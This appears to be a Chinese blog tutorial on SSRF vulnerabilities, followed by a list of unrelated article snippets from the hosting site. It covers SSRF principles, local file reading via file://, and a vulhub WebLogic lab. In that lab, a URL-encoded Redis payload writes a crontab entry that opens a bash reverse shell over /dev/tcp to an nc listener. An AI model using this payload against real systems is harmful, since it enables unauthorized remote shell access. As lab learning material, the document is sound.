ssrf漏洞之——漏洞复现

漏洞介绍
SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造url,由服务端对此url发起请求的一个安全漏洞。
漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞危害
1.对外网服务器所在的内网,本地进行端口扫描,获取一些服务的banner信息.
2.攻击运行在内网或本地的应用程序
3.对内网Web应用进行指纹识别
4.识别企业内部的资产信息攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
5.利用file协议读取本地文件等
漏洞高危触发点
1.分享:通过URL地址分享网页内容
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:通过URL地址翻译对应文本的内容
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
漏洞复现
1.利用ssrf漏洞读取本地文件
原理
将页面请求的url改为指定本地文件路径的url
步骤
原url:
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/XXE-master/vul/ssrf/ssrf_info/info1.php
原url执行效果:

修改后的url
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Users/Administrator/Desktop/1.txt
修改后的url执行效果

1.txt被显示到页面
2.利用ssrf漏洞攻击内网redis数据库
环境
Redis数据库4.0版本、10.0.x版本的weblogic服务器
原理
利用weblogic服务器的ssrf漏洞发送HTTP请求给Redis数据库,再利用Redis数据库4.0版本内网的未授权访问漏洞getshell
步骤
1.打开Ubuntu虚拟机,安装vulhub漏洞环境

2.进入vulhub-master/weblogic/ssrf目录,输入docker-compose up -d启动环境

3.物理机访问 http://192.168.16.131:7001/uddiexplorer/SearchPublicRegistries.jsp,192.168.16.131为vulhub的ip

4.输入一个值Bp抓包

5.通过修改post值里的url请求为指定服务器ip,探测内网中的redis服务器ip(通过6379端口检查),http://172.22.0.2:6379成功返回结果

6.发送三条redis命令,即可将弹shell的脚本写入/etc/crontab,之后将shell发送到指定的ip的一个端口,ip可自己更改,之后在192.168.16.131上使用nc监听4444端口,输入nc -lvvp 4444 开启监听
Url编码后的redis命令:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.131%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
1
发送命令:
将url编码后的命令放到redis服务器的ip后(http://172.22.0.2:6379/命令),替换url发送,过一会nc处就会自动弹出一个控制172.22.0.2:6379的shell

使用nc开启4444端口监听:控制172.22.0.2:6379的shell弹出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/52484.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python :使用 YOLOv8、ultralytics 的 YOLO 模型识别图片里面有多少辆车

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo :联系我们:VX :tja6288 / EMAIL: 347969164@qq.com 文章目录 Python :使用 YOLOv8、ultralytic…

S7通信协议从入门到精通_1_Sharp7(C#)类编写西门子 S7系列 plc驱动程序(扩展C++语言)

文章目录 1. 什么是Sharp71.1 什么是Sharp71.2 下载文件中包含的内容1.3 使用示例2. 如何使用Sharp7进行上位机开发2.1 S7-1200的配置2.2 创建示例项目2.3 连接到plc2.3 从DB读取2.4 写入DB2.5 示例代码3. 扩展3.1 C++上位软件通过Snap7开源库访问西门子S7-1200/S7-1500数据块的…

打卡52天------图论(应用题)

一、孤岛的总面积 基础题目 可以自己尝试做一做 。 代码随想录 二、沉没孤岛 和上一题差不多,尝试自己做做 代码随想录 三、水流问题 需要点优化思路,建议先自己读题,相处一个解题方法,有时间就自己写代码,没时间就…

工业4G路由器

设备概述 路由器是基于4G 技术研发的无线路由网关设备,除了具备传统路由器 的 VPN 、防火墙、 NAT 、 PPPoE 、 DHCP 等功能之外,还能支持 4G 无线拨号,提供最高可达 150Mbps 的无线高速带宽。路由器支持四个以太网接口,可更好…

谷歌、火狐及Edge等浏览器中实现allWebPlugin中间件自动安装及升级

allWebPlugin简介 allWebPlugin中间件是一款为用户提供安全、可靠、便捷的浏览器插件服务的中间件产品,致力于将浏览器插件重新应用到所有浏览器。它将现有ActiveX控件直接嵌入浏览器,实现插件加载、界面显示、接口调用、事件回调等。支持Chrome、Firefo…

【Kotlin设计模式】Kotlin实现单例模式

前言 单例模式(Singleton Pattern),是确保一个类只有一个实例,并提供一个全局访问点来访问这个实例。在 Android 中,有许多系统服务和 API 使用了单例模式,比如: Context: 通过getApplication…

Mora:多智能体框架实现通用视频生成

人工智能咨询培训老师叶梓 转载标明出处 尽管已有一些模型能够生成视频,但大多数模型在生成超过10秒的长视频方面存在局限。Sora模型的出现标志着视频生成能力的一个新时代,它不仅能够根据文本提示生成长达一分钟的详细视频,而且在编辑、连接…

Image Stride(内存图像行跨度)

When a video image is stored in memory, the memory buffer might contain extra padding bytes after each row of pixels. The padding bytes affect how the image is store in memory, but do not affect how the image is displayed. 当视频图像存储在内存时&#xff0…

HeidiSQL中一些简单mysql语句的含义(二)

一、排序 #根据年龄进行降序排序 select * from student order by age desc; #根据年龄进行升序排序 select * from student order by age asc; #给字段起别名,as可以省略 select no as 编号, name as 姓名,age as 年龄 from student order by age asc; #查找…

【USRP】 Link 16 战术数据链 实训系统

Link 16 战术数据链 实训系统 一、基于USRP的Link16平台简介1、整体架构2、JTIDS终端架构3、平台特点3.1、提高技术理解与应用能力3.2、培养创新思维与问题解决能力3.3、加强跨学科融合与团队合作 4、平台建设4.1、基础理论教学模块4.2、LabVIEW 算法模块4.3、USRP仿真模块4.4、…

Unity+Addressable

前期准备 下载一个hfs本地服务器,打开即可 HFS ~ HTTP 文件服务器 (rejetto.com) 1.安装Addressable插件 创建组 2.使用图片创建预制体 放入Addressable Groups内 3.右键 新建组 创建预制体t拖拽放入新建组里 新组命名为Gameobject 简化名称 4.创建一个测试脚本 …

点亮编程之路:如何克服学习中的挫折感

目录 引言 一、心态调整 A. 保持积极乐观的学习态度 1. 接受错误和失败 2. 专注于过程而非结果 3. 设定合理的目标和期望 B. 培养持续学习的习惯 1. 制定学习计划 2. 定期反思和总结 3. 寻找学习的乐趣 二、学习方法 A. 有效的学习策略 1. 分解复杂问题 2. 主动实践…

第三十一章:docker如何部署Nexus

docker如何部署Nexus 目标 掌握 Nexus docker compose安装安装Docker和Docker Compose:确保您的系统已安装Docker和Docker Compose。如果尚未安装,可以参考Docker官方文档进行安装12。 创建Docker Compose文件:在您选择的目录下创建一个名为docker-compose.yml的新文件,并…

jmeter中CSV 数据文件设置用例

1、CSV数据文件的基础使用 线程组->添加->配置远近->CSV数据文件设置 2、多条用例运行CSV数据文件 由于我的csv请求的json数据有“,”所以我这边 分隔符选择了*号 写了两行需要测试的用例,需要添加一个“循环控制器” 线程组->添加-&g…

内存管理篇-09伙伴系统初始化一:memblock管理

1.伙伴系统的初始化概述 硬件初始化:计算机加电后进行硬件检测。加载引导程序,将Linux内核加载到内存中。 内核初始化:内核被加载后开始初始化各个子系统。进行CPU架构相关的初始化。初始化内存控制器和其他设备驱动。 内存管理初始化&…

Oracle开始严查Java许可!

0x01、 前段时间在论坛里就看到一个新闻,说“Oracle又再次对Java下手,开始严查Java许可,有企业连夜删除JDK”,当时就曾在网上引起了一阵关注和讨论。 这不最近在科技圈又看到有媒体报道,Oracle再次严查,对…

C语言典型例题51

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 例题4.3 while循环与do……while循环的比较 代码&#xff1a; &#xff08;1&#xff09;while语句 #include <stdio.h> int main() {int sum0;// char ch;while(1){sum0;//每一次输入结束后数的和重置int …

GDB的基本使用(1)

我有话说 因为时间和精力原因&#xff0c;本文写的虎头蛇尾了&#xff0c;除了启动调试与程序执行以外只有少量截图演示&#xff0c;只是简单的说明。如果有需要可以联系我&#xff0c;我有时间的话会把演示补上&#xff0c;谢谢理解。 启动调试与程序执行 启动调试并传递参数…

dubbo:dubbo+zookeeper整合nginx实现网关(四)

文章目录 0. 引言1. nginx简介2. 集成nginx2.1 负载均衡实现 3. 源码4. 总结 0. 引言 我们之前讲解过dubbozookeeper实现服务调用和注册中心&#xff0c;但是还缺乏一个统一的入口&#xff0c;即网关服务。dubbozookeeper的模式更加适合的网关组件为nginx&#xff0c;所以今天…

39-nacos eureka zookeeper区别

Nacos, Eureka, Zookeeper都是服务发现和配置管理的工具&#xff0c;但是它们之间有一些区别&#xff1a; Nacos 设计目标是以更简单的方式来实现服务发现和配置管理。 支持服务发现和服务元数据的注册与发现。 支持DNS-based服务发现。 支持RPC和服务间调用。 支持配置的…